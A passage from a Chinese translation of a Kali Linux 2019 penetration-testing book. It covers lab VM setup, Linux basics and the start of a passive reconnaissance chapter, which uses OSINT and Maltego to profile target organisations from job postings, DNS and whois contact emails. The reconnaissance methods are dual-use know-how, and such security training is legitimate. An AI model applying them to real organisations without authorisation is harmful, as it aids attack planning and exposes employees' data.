  • NIC:VMnet1

您还可以根据需要调整硬件配置。

您可能还记得,在上一节中,作为 VM 安装 Windows,我们介绍了设置虚拟环境的过程。在使用 hypervisor 时,为 Linux 创建虚拟环境的过程与为 Windows 创建虚拟环境的过程基本相同,唯一的区别在于选择 Ubuntu ISO(Linux 操作系统)并使用先前指定的参数(即 CPU、RAM 等)。

以下是在我们的实验室中安装 Ubuntu 服务器的说明:

  1. 启动 VM 后,将显示以下屏幕。选择安装 Ubuntu 服务器并按Enter

  1. 设置向导将要求指定您的语言。

  2. 然后,您将被要求选择您的国家或地区。

  3. 安装向导将询问您是否要检测键盘布局。选择“否”并继续:

  1. 在设置过程中,您将被要求为 Ubuntu 服务器分配主机名,您可以将其保留为默认值,如下图所示:

  1. 在此阶段,您还将被要求指定您的时区。选择一个合适的时区。

  2. 选择引导-使用整个磁盘选项,然后按Enter继续。这将允许 Ubuntu 操作系统擦除整个磁盘驱动器并安装自身,从而占用整个磁盘:

  1. 您将被要求选择您希望安装 Ubuntu 服务器的目的地;选择具有sda(*主磁盘分区)的磁盘:

sda用于表示 Linux 操作系统上主要磁盘驱动器的主分区。这通常是您在磁盘驱动器上安装任何操作系统的位置。

  1. 在执行安装之前,选择“是”以确认配置:

  1. 然后,您将被要求提供您的全名,并且还需要创建一个用户帐户。接下来,为用户帐户分配一个密码。

  2. 完成用户帐户创建过程后,您将被询问是否要设置加密私人目录。我使用了默认值(否),如下图所示:

  1. 此时,安装过程将需要几分钟才能完成。之后,您将需要设置系统时钟:

  1. 接下来,指定操作系统应如何检查更新。我选择了不自动更新选项,如下截图所示:

  1. 在接下来的屏幕上,您仍然可以选择安装各种服务。我再次使用了默认设置(未选择任何软件/服务),然后选择了继续:

  1. 安装完成后,Ubuntu 服务器将启动到登录窗口,如下截图所示:

您的 Ubuntu 虚拟机现在已经设置好,准备进行未来的练习。

现在您已经在虚拟实验室环境中安装了一些虚拟机,让我们花几分钟时间来讨论在虚拟化工作中定期创建快照的重要性。

创建和使用快照

创建快照可以节省大量时间,以恢复虚拟机的先前状态。快照就像一个即时系统还原点。在对虚拟机进行重大更改之前和之后拍摄快照将帮助您从虚拟机中遇到的任何关键问题中恢复过来。

要在 VirtualBox 和 VMware Workstation 上创建快照,请执行以下步骤:

  1. 在 VirtualBox 中,选择您选择的虚拟机。

  2. 单击菜单图标,如下截图所示,并选择快照。

  3. 使用 VMware Workstation,选择您选择的虚拟机。在 VMware Workstation Pro 上,快照菜单位于工具栏上,如下截图所示,位于右侧:

我建议在成功安装虚拟机之后,以及在对虚拟机进行任何重大更改或配置之前和之后,创建一个快照。创建快照会占用本地存储驱动器上的磁盘空间。但是,可以随时删除快照。

完成了这一部分,您现在可以在虚拟化环境中高效地安装 Linux,并了解使用快照的好处。

Kali Linux 故障排除

现在您已经可以访问 Kali Linux,您可能会遇到一些问题。这些问题可能包括以下内容:

  • 网络适配器和 USB 不兼容

  • 虚拟机内存问题

让我们看看如何解决这些问题。

网络适配器和 USB 不兼容

学生在导入 Kali Linux 虚拟机到 VirtualBox 后经常遇到的问题之一是不兼容。这种不兼容通常与 VirtualBox 上的网络适配器或 USB 设置有关。如果这些问题没有解决,虚拟机将无法启动。

要确定是否存在问题,我们可以执行以下操作:

  1. 在 Oracle VM VirtualBox 上打开虚拟机设置。

  2. 如果看到检测到无效设置,则无法启动虚拟机。单击其中一个图标(例如网络图标或 USB 图标),将显示相关的错误消息。

下面的截图表明虚拟机上的虚拟网络适配器存在问题。正如我们所看到的,实际上没有适配器连接。执行以下操作:

  1. 只需单击下拉菜单中的名称,如下截图所示。

  2. 选择适当的网络适配器,例如适配器 1,以解决问题:

现在我们已经解决了网络适配器的潜在问题,让我们看看如果 USB 软件总线不兼容会发生什么。通常您会在设置窗口底部看到一个 USB 图标。单击它将显示以下消息:

使用 VirtualBox 扩展包将解决此问题,通过启用 USB 2.0 或 3.0。这将确保虚拟机兼容,并能够发送和接收数据到主机的 USB 端口。

要解决这个问题,只需访问 USB 设置,并选择适当的 USB 控制器(最好是 USB 1.1 或 2.0),如下面的屏幕截图所示:

在 Oracle VM VirtualBox 设置界面中,如果你仔细观察,窗口底部包括每个警告标志的图标。将鼠标悬停在底部的每个图标上,将为您提供阻止虚拟机启动的问题描述。

虚拟机内存问题

很多学生有时会创建一个虚拟机,并分配比可用的内存更多的内存给 hypervisor。这可能导致虚拟机无法启动或主机操作系统不稳定。要解决这个问题,请执行以下操作:

  1. 打开虚拟机设置。

  2. 打开“系统”选项卡。

  3. 接下来,调整基本内存,使其位于绿色区域内(这里我们谈论的是随机存取内存):

hypervisor 将始终通知您任何问题。但是,请确保您在处理器中启用了虚拟化功能。要做到这一点,您需要访问计算机的 BIOS/UEFI 设置以打开虚拟化。

如果你遇到这些问题,现在你已经有了解决方法。

总结

在本章的过程中,我们延续了上一章的内容,并通过部署和设置 Windows 和 Ubuntu 虚拟机来扩展我们的实验环境。此外,我们还研究了在虚拟环境中部署 Kali Linux 时最常见的两个问题。

完成了本章后,您将具备在虚拟实验室环境中安装 Windows 和 Ubuntu 服务器、创建用户帐户并选择不自动更新、向虚拟机添加额外的网络接口以及使用 hypervisor 管理器、VirtualBox 和 VMware Workstation Pro 创建快照的技能。这完成了我们构建虚拟渗透测试实验室环境的目标。

现在我们已经建立并准备好自己的实验室,是时候进入下一章了,这一章是关于熟悉 Kali Linux 2019。

进一步阅读

以下链接建议进行进一步阅读:

第四章:熟悉 Kali Linux 2019

如果您刚开始涉足网络安全领域,尤其是在攻击性安全测试(渗透测试)方面,很可能会遇到 Kali Linux 操作系统。Kali Linux 具有许多功能和工具,使渗透测试人员或安全工程师在现场或工作时的工作变得更加轻松。有许多工具、脚本和框架可用于完成各种任务,如收集目标信息、执行网络扫描,甚至利用等。我们作为初学者面临的挑战是学习和适应新环境。

在本章中,我们将学习如何更有效地使用 Kali Linux 作为用户和渗透测试人员。此外,您将学习如何使用 Linux 操作系统执行各种任务,并对其更加熟悉。如果不了解 Kali Linux 的工作原理,您可能会在后面更高级的渗透测试章节中面临挑战。

在本章中,我们将涵盖以下主题:

  • 了解 Kali Linux

  • Kali Linux 2019 有什么新功能?

  • Kali Linux 的基础知识

技术要求

Kali Linux 是本章的唯一技术要求。

了解 Kali Linux

让我们简要回顾一下 BackTrack 的历史(www.backtrack-linux.org/)。BackTrack 操作系统是由 Auditor Security Collection 和 Whax 组织在 2006 年开发和维护的。当时,BackTrack 基于 Linux 操作系统 Ubuntu。基于 Linux 意味着 BackTrack 为渗透测试人员提供了许多机会,其中之一是能够从光盘和 USB 启动介质中启动。然而,BackTrack 操作系统的最新版本是 BackTrack 5,于 2011 年发布后项目被存档。2012 年,宣布了下一代操作系统,现在是 BackTrack 的继任者,称为 Kali Linux,是从头开始构建的。2013 年 3 月,Kali Linux 正式向公众发布。

在网络安全领域,特别是在渗透测试领域,大多数最棒的工具都是为 Linux 操作系统而不是 Microsoft Windows 创建的。因此,在大多数网络安全培训项目中,您会注意到 Linux 是进行安全测试的首选操作系统。

使用 Kali Linux 的一些好处如下:

  • 它支持开源渗透测试工具。

  • 默认情况下包含 300 多个工具。

  • 基于 Linux 的特性使其可以安装在硬盘驱动器上或通过光盘或 USB 启动介质使用。

  • 它支持在 OnePlus 智能手机和 Raspberry Pi 等移动设备上安装。

  • 它不需要太多的资源,如 RAM 或 CPU。

  • Kali Linux 可以安装为虚拟机、本地硬盘驱动器、可启动的 USB 闪存驱动器、Raspberry Pi 和其他各种设备。

Kali Linux 操作系统基于 Debian 构建,包含 300 多个预安装工具,功能从侦察到利用甚至取证。Kali Linux 操作系统不仅为安全专业人员设计,也适用于 IT 管理员和 IT 领域的网络安全专业人员。作为免费的安全操作系统,它包含进行安全测试所需的工具。

在 Kali Linux 操作系统中,有许多目前在行业中广泛使用的流行工具,如网络映射器(Nmap)、aircrack-ng 和 Metasploit 框架。操作系统的部署和利用非常灵活,仅受想象力的限制。

Kali Linux 是一个预先打包的多合一操作系统,其中包含了用于渗透测试、数字取证、逆向工程等工具,绝对是渗透测试人员的首选。在接下来的部分中,我们将深入了解 Kali Linux 2019 中的新功能。

Kali Linux 2019 有什么新功能?

Kali Linux 2019 配备了升级后的 4.19.13 内核和操作系统中的许多更新软件包和错误修复。其中一个主要升级是 Metasploit Framework。Metasploit 的上一个版本是 2011 年发布的 4.0 版本,但在 Kali Linux 2019 中,它升级到了 5.0 版本。

新的 Metasploit 5.0 版本带来了新的规避技术,更新了其数据库,并自动化了 API。Kali Linux 2019 还包含以下工具的升级:

  • theHarvester

  • dbeaver

  • Metasploit

  • exe2hex

  • msfpc

  • SecLists

有关 Metasploit 5.0 中新的规避技术的更多信息,请访问www.rapid7.com/info/encapsulating-antivirus-av-evasion-techniques-in-metasploit-framework/

Kali Linux 操作系统的开发人员和用户社区不断增长,因为它是目前最受欢迎的渗透测试 Linux 发行版之一。未来将会有更多更新和改进。

现在您已经了解了 Kali Linux 2019 中的更改,我们将学习如何使用 Kali Linux。

Kali Linux 的基础知识

在数字生活的大部分时间里习惯于一个操作系统有时是好事,有时是坏事。您很可能是 Windows 或 macOS 用户,并且对功能和功能非常熟悉,知道如何在您当前选择的操作系统中找到自己的方式。然而,学习一个新的平台甚至一个新的用户界面对一些人来说可能会很具有挑战性。这就像是一个安卓用户切换到苹果 iOS 或反之。一开始可能会有点困难,但通过不断练习,您将成为绝地大师。

在接下来的几节中,我们将深入学习作为渗透测试人员导航 Linux 操作系统的基础知识。

终端和 Linux 命令

Linux 终端基本上是 Linux 操作系统中最强大的接口,因为这是所有魔术发生的地方。大多数 Linux 工具都是基于命令行的。大多数渗透测试工具也是基于命令行的,这有时可能会让新用户和刚开始从事网络安全或渗透测试领域的人感到害怕。

以下练习将帮助您更熟悉使用 Linux 终端和命令:

  • 要更改当前用户帐户的密码,请执行passwd命令。每当您在 Linux 终端/ shell 上输入密码时,密码本身是不可见的。

  • 要在终端中查看当前工作目录,请使用pwd命令。

  • 要查看当前目录中的文件和文件夹列表,请使用ls命令。此外,可以使用ls –la命令列出所有文件(包括隐藏文件)及其权限。

  • 要更改目录或导航文件系统,请使用cd命令,后跟目录。

以下是演示使用这些命令的屏幕截图。我们可以看到执行pwd命令后的当前工作目录,使用ls -l命令列出的文件和文件夹列表,以及使用cd命令更改工作目录的选项:

此外,如果我们的目录中有一个文本文件,我们可以使用cat命令查看其内容。此外,我们可以使用echo "text" >> filename.txt语法直接从终端向现有文件添加额外的文本行,如下面的屏幕截图所示。仔细看,我们可以看到ls命令用于显示桌面上的文件,cat命令用于在终端上打印Test.txt文件的内容,echo用于添加文本:

使用>>开关将向现有文本文件添加另一行(换句话说,插入新行)。但是,使用单个>将用新字符串覆盖所有内容,如我们在这里所见:

Test.txt文件现在具有最新的文本字符串。

如果您有兴趣了解更多关于 Linux 的信息,请查看思科网络学院的Linux UnhatchedLinux Essentials课程:www.netacad.com/courses/os-it

永远记住,您练习使用 Linux 操作系统的次数越多,执行任务就越容易。

接下来,我们将演示如何使用各种实用程序在 Kali Linux 中找到自己的路。

在 Kali Linux 中导航

在本节中,我们将指导您了解操纵 Kali Linux 操作系统的基础知识。正如我们之前提到的,Kali Linux 是基于 Debian Linux 的。这意味着所有其他基于 Debian 的操作系统都将具有类似的用户界面。

Kali Linux 启动后,您将看到登录屏幕;登录到 Kali Linux 的默认用户名和密码是root/toor。登录后,您将看到一个非常漂亮,干净,精致的用户界面。您将在左上角的应用程序下拉菜单中注意到的第一件事是。这是存放所有渗透测试和取证工具的菜单。应用程序菜单如下面的屏幕截图所示,按照不同的类别进行组织,如信息收集,漏洞分析和 Web 应用程序分析:

此外,将鼠标悬停在类别上将显示该部分的热门工具。但是,单击类别将展开更多的子类别,每个子类别都包含更多的工具。让我们单击应用程序|02-漏洞分析|思科工具。您将看到右侧打开一个附加菜单,显示所有与思科设备相关的漏洞工具,如下面的屏幕截图所示:

当您成为 Linux 用户时,您很快就会意识到操作系统上最强大的应用程序之一是 Linux 终端。终端相当于 Windows 操作系统中的命令提示符。许多任务和工具通常是通过终端窗口初始化的。您可能会想:Kali Linux 有图形用户界面(GUI),那么它所有内置工具都有 GUI 吗?简短的答案是否定的。

Kali Linux 大部分强大的工具只能通过命令行界面(CLI)来控制;然而,有些工具可以选择使用图形用户界面(GUI)。使用 CLI 的好处是,与 GUI 相比,工具的输出在终端上更加详细。我们将在本书的后面看到这个概念。要打开终端,请选择应用程序|收藏夹|终端:

Kali Linux 具有任何其他操作系统具有的所有常规功能和功能。这意味着有用户目录,如HomeDesktopDocumentsDownloadsMusicPictures。要快速访问 Kali 的任何位置,只需单击“位置”下拉菜单:

现在,普通的 Windows 用户在没有类似控制面板的东西之前,他们的体验不会完整。要访问 Kali Linux 中的控制面板等效物,只需单击右上角的电源按钮图标。这将创建一个下拉菜单,在那里您将看到一个扳手和螺丝刀图标,如下面的屏幕截图所示。

单击此图标将打开操作系统的设置菜单:

在左侧列中,您将找到主要类别。右侧显示了每个类别的扩展:

在对 Kali Linux 进行任何配置更改之前,请确保记录您的默认设置。这是为了确保在您进行更改后出现任何问题时,您可以恢复到先前的状态。此外,在进行任何重大更改之前,请创建虚拟机的快照。

现在您对热门目录和设置的位置有了更好的了解,我们可以继续学习在 Kali Linux 上更新和安装程序。

更新源并安装程序

有时,工具可能无法按预期工作,甚至在渗透测试或安全审计期间意外崩溃。开发人员经常发布他们应用程序的更新。这些更新旨在修复错误并为用户体验添加新功能。

要更新我们的 Kali Linux 操作系统上的软件包,我们必须首先将软件包索引文件与它们的源重新同步。让我们开始吧:

  1. 打开终端,并执行apt-get update命令:

索引位于/etc/apt/sources.list文件中。

这个过程通常需要一两分钟才能完成,前提是有稳定的互联网连接。

  1. 如果要将 Kali Linux 机器上的当前软件包(应用程序)升级到其最新版本,请使用apt-get upgrade命令:

在进行升级时,请确保在进行渗透测试之前,所有工具和脚本都能完美运行。

如果在 Kali Linux 上升级软件包时遇到错误,请使用apt-get update --fix-missing命令解决任何依赖关系,然后再次执行apt-get upgrade命令。

  1. 在输出的末尾,交互式菜单将要求您选择是(y)或否(n)以继续升级过程。选择是后,操作系统将下载每个软件包的最新版本并逐个安装它们。这个过程需要一些时间才能完成。

如果您想将 Kali Linux 的当前版本升级到最新的发行版,请使用apt-get dist-upgrade命令。在撰写本文时,我们使用的是 Kali Linux 2019.2。

此外,执行apt autoremove命令将通过删除任何旧的或不再需要的软件包文件来执行 Kali Linux 操作系统的清理操作:

现在我们清楚了如何更新和升级我们的操作系统,让我们看看如何在 Kali Linux 2019 中安装新应用程序(软件包)。一个非常著名的漏洞扫描器是Open Vulnerability Assessment SystemOpenVAS)。但是,默认情况下,Kali Linux 2019 中不包括 OpenVAS。在这个练习中,我们将在我们的 Kali 机器上安装 OpenVAS 应用程序。要开始,请确保您的 Kali 机器上有互联网连接。

使用apt-get install openvas命令搜索存储库并下载安装带有所有依赖项的软件包:

这个过程应该需要几分钟来完成。确保在 Kali Linux 上安装任何软件包之前执行apt-get update命令。一旦安装了软件包(应用程序),它将出现在应用程序菜单中指定的类别中,如下面的屏幕截图所示:

请务必查看您的 Kali Linux 版本的发布说明,网址为www.kali.org/category/releases/

有时,更新您的源文件将有助于在 Kali Linux 上更新、升级和检索软件包。sources.list文件的最新更新可以在docs.kali.org/general-use/kali-linux-sources-list-repositories找到。

在下一节中,我们将深入了解 Kali Linux 操作系统中三个最基本的工具。

find、locate 和 which 命令

在 Kali Linux 操作系统中,用户可以使用许多方法来定位文件和目录。在本节中,我将向您介绍findlocatewhich实用程序。这些实用程序中的每一个都执行类似的任务,但从不同的角度返回所请求的信息。

在使用这些命令之前,我们必须首先执行updatedb命令,在 Kali Linux 当前文件系统中为每个文件构建一个本地数据库。这个过程通常需要几秒钟来完成。

在接下来的部分,我们将深入了解 Linux 实用程序的每一个以及它们的使用方法。

locate 命令

数据库完全构建后,我们可以使用locate实用程序查询本地文件的数据库。在这个例子中,我们尝试使用locate nc.exe命令来定位 Netcat Windows 可执行文件的目录:

正如我们所看到的,locate实用程序能够为我们检索出nc.exe文件在文件系统中的位置。

which 命令

接下来,我们将使用which实用程序来帮助我们搜索目录。与之前的例子不同,我们不需要指定文件扩展名;which实用程序用于定位可执行文件的文件路径。简而言之,which实用程序只会提供文件路径:

前面的屏幕截图显示了在 Kali Linux 中使用which nc命令检索 Netcat 路径的位置。

find 命令

find实用程序比locatewhich更具侵略性。find实用程序将返回所有包含我们指定的关键字或字符串的结果。在我们的例子中,我们使用find命令来提供一个包含以nc开头的所有文件(包括它们的目录)的列表:

man命令可以帮助我们理解工具或实用程序的工作原理。man命令用于为工具提供手册页。我们可以使用man find命令查看find实用程序的man页面:

当您想要了解 Linux 上的新工具或现有工具时,man命令可能非常有用。

在下一节中,我们将讨论如何在 Kali Linux 中管理服务,并看一些实际的例子。

管理 Kali Linux 服务

Kali Linux 操作系统可以作为各种类型服务的服务器,例如安全外壳SSH)、超文本传输协议HTTP)等。在本节中,我将演示如何启用和禁用各种服务。一旦系统上运行了一个服务,就会打开一个相关的网络端口。例如,如果在一台机器上启用了 HTTP,则默认的逻辑端口是80;对于 SSH,端口是22

有关服务和端口号分配的更多信息可以在互联网编号分配机构IANA)网站上找到,网址为www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml

要在 Kali Linux 中启用服务,我们可以使用service <service-name>命令语法。在我们的示例中,我们将启用 Apache Web 服务器,并使用netstat –antp | grep <service-name>命令来验证相关服务是否正在运行并且网络端口是否打开,如下面的屏幕截图所示:

最后一列包含服务名称;在我们的练习中,我们可以看到列出了apache2。这表明 Web 服务正在运行—具体来说,Apache2 Web 服务在 Kali Linux 上是活动的。

要启用 SSH,我们可以使用service ssh start命令。

此外,由于它是一个 Web 服务器,我们可以打开我们的 Web 浏览器并输入环回 IP 地址127.0.0.1,以验证默认的 Apache 网页是否在我们的屏幕上加载:

然而,如果我们的 Kali Linux 机器被关闭或重新启动,我们之前启用的服务将恢复到它们的默认启动设置。如果我们想要确保某些服务始终在 Kali Linux 的引导过程中启动,可以在终端窗口中使用update-rc.d <service-name> enable命令来实现:

在我们的示例中,我们已启用 SSH 服务,这将允许我们通过网络安全地远程访问我们的 Kali Linux 机器。HTTP 服务器将允许我们访问 Web 服务器页面。

最后但同样重要的是,我们可以禁用单个服务并禁用服务在引导过程中自动启动,如下面的屏幕截图所示:

在成龙历险记中,由叔叔的声音说:“还有一件事!”,我建议更改 Kali Linux 根帐户的默认密码。要更改密码,请打开终端窗口并执行passwd命令。交互提示将要求您输入新密码并进行验证。

请注意,在 Linux 操作系统的终端界面上输入密码时,您输入的字符不会显示在屏幕/终端上。

在本节中,您已经学会了使用 Kali Linux 操作系统的基本技能。这些技能包括导航文件系统、更新和安装软件包以及启用和禁用服务。

摘要

在本章的过程中,我们讨论了使用 Kali Linux 操作系统作为首选的渗透测试发行版的好处。我们介绍了在操作系统中操纵和找到我们的方法的基础知识,就像您在任何其他操作系统中一样。然后,我们看了看如何更新我们的源文件和升级我们现有的软件包,并演示了如何安装新应用程序和删除过时的软件包。最后,我们介绍了如何使用findlocatewhich实用程序快速找到 Kali Linux 操作系统中的文件和目录。

学习 Kali Linux 的基本知识将对您未来的旅程产生丰硕的成果。本章教授的技能将帮助您了解在使用 Kali Linux 时经常被忽视的简单事物。知道如何在目标上收集信息,但不知道如何在 Kali Linux 操作系统中找到或定位文件和目录将是毫无意义的,因此学习基础知识将使您走得更远。

在下一章中,我们将介绍被动信息收集,这是渗透测试中侦察阶段的开始。

问题

  1. Kali Linux 的前身是什么?

  2. 你如何在 Kali Linux 上更新存储库?

  3. 你如何在 Linux 上升级当前软件包?

  4. 哪个命令从官方在线存储库安装新应用程序?

  5. 你如何快速在文件系统中找到一个文件?

进一步阅读

第二部分:侦察

本节教导读者在启动任何攻击或载荷之前对目标进行广泛侦察的重要性。读者将学习各种信息收集技术,以及各种在线和离线工具,以帮助检索与目标相关的信息和具体细节。完成本节后,读者将具备作为网络安全专业人员执行各种信息收集技术的理论和实践经验的基本知识。

本节包括以下章节:

  • 第五章,被动信息收集

  • 第六章,主动信息收集

第五章:被动信息收集

开始从事道德黑客和/或渗透测试工作可能会非常令人兴奋,大多数情况下,我们的思维会有些不知所措,导致我们只阅读这样一本书中有关利用系统的章节。然而,进行渗透测试就像在家里开始一个新项目。在你的后院建造游泳池之前,有一些事情你必须考虑,比如可用空间、材料成本、承包商费用和其他细节。信息收集是黑客生命周期和渗透测试的非常重要的阶段。

在本章中,我们将专注于被动信息收集技术和方法。我们将学习如何利用互联网通过在线资源和 Kali Linux 上的工具获取有关目标的信息和具体细节。

我们将涵盖以下主题:

  • 侦察和足迹

  • 了解被动信息收集

  • 了解开源情报OSINT

  • 使用顶级 OSINT 工具

  • 识别目标技术和安全控制

  • 在云资源中查找数据泄漏

  • 了解 whois 和使用 HTTrack 复制网站

  • 使用 Sublist3r 查找子域

亲爱的读者!请确保您在没有适当的法律许可的情况下不要对任何目标组织、网络或系统进行扫描。

技术要求

本章的技术要求如下:

侦察和足迹

黑客攻击的各个阶段包括侦察、扫描、获取访问权限、保持访问权限和清除痕迹。侦察阶段是渗透测试中最重要的阶段,因为这是道德黑客或渗透测试人员进行广泛研究,尽可能收集有关目标的信息的阶段。此外,足迹将有助于创建目标的概况,收集诸如运行服务、开放端口和操作系统等概况信息。

现在我们将更详细地了解侦察和足迹。

侦察

从军事角度来看,侦察是对敌方目标的观察和研究。在网络安全领域,作为渗透测试人员,我们使用各种工具和技术来收集有关目标组织及其基础架构的详细信息。

侦察在渗透测试领域至关重要。作为渗透测试人员,我们在尝试通过利用获取访问权限之前,绝对需要了解我们的目标及其漏洞和操作系统。在侦察阶段收集的信息将帮助我们选择正确的工具和技术成功地利用目标。

侦察可以分为两类:

  • 被动: 使用间接方法,不与目标进行互动

  • 主动: 直接与目标互动以收集具体细节

接下来,我们将深入了解足迹。

足迹

足迹定位是指尽可能收集与目标相关的信息的过程。在足迹定位中,目标是获取有关目标的特定细节,例如其操作系统和正在运行的应用程序的服务版本。收集到的信息可以以各种方式用于获取对目标系统、网络或组织的访问权限。足迹定位允许渗透测试人员了解目标基础设施的安全状况,快速识别目标系统和网络上的安全漏洞,创建组织的网络地图,并将焦点缩小到需要信息的特定 IP 地址、域名和设备类型。

足迹定位是侦察阶段的一部分;然而,由于足迹定位能够提供有关目标的更具体的细节,我们可以将足迹定位视为侦察阶段的一个子集。以下图表提供了侦察和足迹定位如何结合在一起的视觉概述:

以下是足迹定位的主要目标:

  • 收集网络信息(域名,IP 寻址方案和网络协议)

  • 收集系统信息(用户和组名称,路由表,系统名称和类型)

  • 收集组织信息(员工详细信息,公司目录和位置详细信息)

要成功获取有关目标的信息,我建议使用以下足迹定位方法:

  • 检查雅虎、必应和谷歌等搜索引擎

  • 执行 Google 黑客技术(高级 Google 搜索)

  • 通过 Facebook、LinkedIn、Instagram 和 Twitter 等社交媒体平台收集信息

  • 对公司网站进行足迹定位

  • 执行电子邮件足迹定位技术

  • 使用whois命令

  • 执行 DNS 足迹定位

  • 网络足迹技术

  • 社会工程学

您现在能够区分侦察和足迹定位。在渗透测试期间,侦察和足迹定位都是必需的,因为每个都提供有关目标的重要信息。在下一节中,我们将深入探讨被动信息收集。

了解被动信息收集

被动信息收集是指使用间接方法获取有关目标的信息。这种方法获取的信息来自许多公开来源,因此消除了与潜在目标的直接联系。被动信息收集通常是富有成效的,许多组织通常会为现有和潜在客户发布有关其组织的信息和细节作为营销策略。有时,当组织在招聘网站上发布职位空缺时,招聘人员会发布潜在候选人的技术要求。从渗透测试人员的角度来看,技术细节可以指示组织网络基础设施中正在运行的平台和应用程序类型。

我们已经介绍了被动信息收集的概念。现在,让我们在下一节中深入学习有关 OSINT 的知识。

了解 OSINT

如前所述,渗透测试的第一阶段是尽可能收集有关给定目标或组织的信息。在利用和获取对网络或系统的访问权限之前收集信息将有助于渗透测试人员缩小攻击范围,并设计适合目标攻击面的特定类型的攻击和有效载荷。我们将通过利用现有的最大计算机网络——互联网来开始我们的信息收集阶段。

以下图表提供了 OSINT 可以在目标上找到的不同领域的简要概述:

互联网上有许多平台,从论坛和消息板到社交媒体平台。许多公司创建在线存在,以帮助将其产品和服务营销给潜在客户。这样做,公司的网站、Facebook、Instagram、Twitter、LinkedIn 等的创建确保他们的潜在客户了解他们是谁,以及提供了哪些服务和产品。市场部门通常负责确保组织的在线存在,并且他们的数字投资组合始终是最新和吸引人的。

组织通常在各种互联网平台上发布有关自己的信息,例如博客和招聘网站。由于互联网如此易于获取和访问,某人很容易仅通过使用搜索引擎并确定其基础设施来收集有关目标组织的信息。这种技术被称为OSINT

这是渗透测试人员或道德黑客使用各种工具和技术,利用互联网上公开的信息来创建目标的投资组合。 OSINT 是一种被动信息收集类型,渗透测试人员不直接与实际目标联系或连接,而是向合法可靠的来源询问有关目标的信息。

多年来,我注意到了许多求职网站,招聘人员在公司内发布 IT 职位的空缺,但招聘人员指定理想的候选人应具有特定技术的经验。这对公司和申请人可能是一件好事;然而,它也可能是坏事。以下是公司在招聘网站上发布其技术的利弊:

这些是利:

  • 潜在的候选人将知道如果被聘用,可以期待什么样的环境。

  • 潜在的候选人可以事先确定他们是否具有工作所需的技能。

这些是坏处:

  • 公司部分向公众暴露他们的技术。

  • 黑客可以确定基础设施,并更好地选择利用和工具来执行网络攻击。

让我们看一下来自招聘网站的以下截图。仔细观察,我们注意到招聘者指定他们正在使用思科和惠普的网络技术,公司使用 AVAYA PBX 系统作为他们的互联网协议语音VoIP)系统,并且他们在网络中运行 Windows Server 2008 和/或 2012:

作为渗透测试人员,我们可以看到公司在其 IT 基础设施中使用特定类型的技术。从渗透测试人员的角度来看,如果这个组织是我们渗透测试的目标,我们现在可以将我们的攻击范围缩小到这些特定的技术。

既然我们已经完成了对 OSINT 更好理解的部分,让我们深入了解使用 OSINT 工具的实际操作。

使用顶级 OSINT 工具

在本节中,我将演示一些适用于 Kali Linux 的最流行的 OSINT 工具。每个工具都将帮助我们使用互联网上可以找到的各种信息来源创建有关目标的概况。

在接下来的几个子节中,我们将介绍以下 OSINT 工具:

  • Maltego

  • Recon-ng

  • theHarvester

  • Shodan

  • OSRFramework

现在,让我们深入了解这些令人惊奇的工具。

Maltego

Maltego 是由Paterva (www.paterva.com)创建的图形交互式数据挖掘应用程序,具有从互联网上的各种来源查询和收集信息并以易于阅读的图形呈现数据的能力。这些图表展示了每个实体与目标之间的关系。

要开始使用,您需要用户帐户来访问 Maltego 的功能和特性:

  1. 转到www.paterva.com,然后点击社区。将会出现一个下拉菜单。点击注册(免费)以创建用户帐户:

  1. 创建用户帐户后,请确保在登录之前验证您的电子邮件地址。完成此步骤后,返回到您的 Kali Linux 桌面。点击应用程序|收藏夹|maltego 打开Maltego工具,如下面的屏幕截图所示:

  1. 应用程序打开后,点击 Maltego CE(免费)以配置和运行 Maltego 的社区版:

  1. 接下来,您将看到 Maltego 配置向导。确保使用您之前在 Paterva 网站上创建的相同用户帐户登录,然后点击下一步。阅读并遵循配置向导的接下来几个步骤中出现的说明。您可以将一切保持默认状态,然后点击下一步直到过程结束:

  1. 配置窗口关闭后,将显示一般的 Maltego 界面,如下面的屏幕截图所示。在起始页面上,有许多可以添加到 Maltego 的变换集。变换是 Maltego 可以查询信息的开源资源。添加变换是可选的:

  1. 要开始收集有关目标组织的信息,我们必须首先打开一个新图。要做到这一点,点击左上角的 Maltego 图标,然后点击新建。创建新图后,您将在左侧看到各种类型的信息(实体),而在右侧,您将看到概述、详细视图和属性视图。

  2. 添加公司的域名,点击并拖动域实体到图的中心。默认情况下,paterva.com将出现为目标域。让我们将域值更改为其他内容。在界面的左侧,点击属性视图。您将能够编辑域名字段中的值,如下面的屏幕截图所示:

  1. 域名更改后,我们可以继续并解析域的网站 URL。右键单击域实体,点击所有变换,然后选择到网站[快速查找]。这个变换将简单地发现网站地址(参考左侧的屏幕截图),并显示关系(参考右侧的屏幕截图):

  1. 接下来,我们可以尝试获取网站地址的 IP 地址。右键单击网站地址(www.google.com)|所有变换|到 IP 地址(DNS)。右侧的屏幕截图显示了为www.google.com解析的 IP 地址。请注意,这是用于www.google.com URL 的众多 IP 地址之一:

  1. 我们甚至可以进一步进行这个阶段。试试发现作为google.com域的一部分的顶级域TLDs)。要完成此任务,我们首先右键单击域实体(google.com),然后选择到域[查找其他 TLDs],如左侧的屏幕截图所示。一旦变换完成,Maltego 将在图平面上以树状结构呈现信息,如右侧的屏幕截图所示:

  1. 现在,让我们来收集注册到域的联系人的电子邮件地址。我们可以右键单击 IP 地址实体 | 所有变换 | 转换为电子邮件地址[来自 whois 信息]。如果有任何电子邮件地址,它们将显示出来,如右侧的屏幕截图所示。

  1. 此外,我们可以尝试获取该域的名称服务器NSes)。右键单击域实体(google.com)| 所有变换 | 转换为 DNS 名称 - NS(名称服务器)。域的所有 NSes 将被呈现,如右侧的屏幕截图所示。

现在,您对 Maltego 的功能和如何浏览各种变换有了更好的了解。Maltego 的一个很好的功能是图上的关系映射,帮助您分析信息和实体。

完成了这一部分,您现在已经熟悉了使用 Maltego 收集信息。在下一部分中,我们将使用基于 Python 的工具来帮助我们进行被动信息收集。

Recon-ng

Recon-ng 是一个用 Python 编写的 OSINT 侦察框架。该工具本身具有自己的模块、数据库、交互式帮助和菜单系统,类似于 Metasploit。Recon-ng 能够使用各种开源平台执行基于 Web 的信息收集技术。

Recon-ng 已经是 Kali Linux 工具库中的一部分。要访问 Recon-ng 的界面,只需单击左上角的应用程序以展开应用程序菜单,然后选择01 - 信息收集。您应该会看到recon-ng。单击它以打开该框架:

此外,您可以打开 Linux 终端窗口并输入recon-ng来运行该框架。

要下载并设置最新版本的 Recon-ng,请使用以下说明:

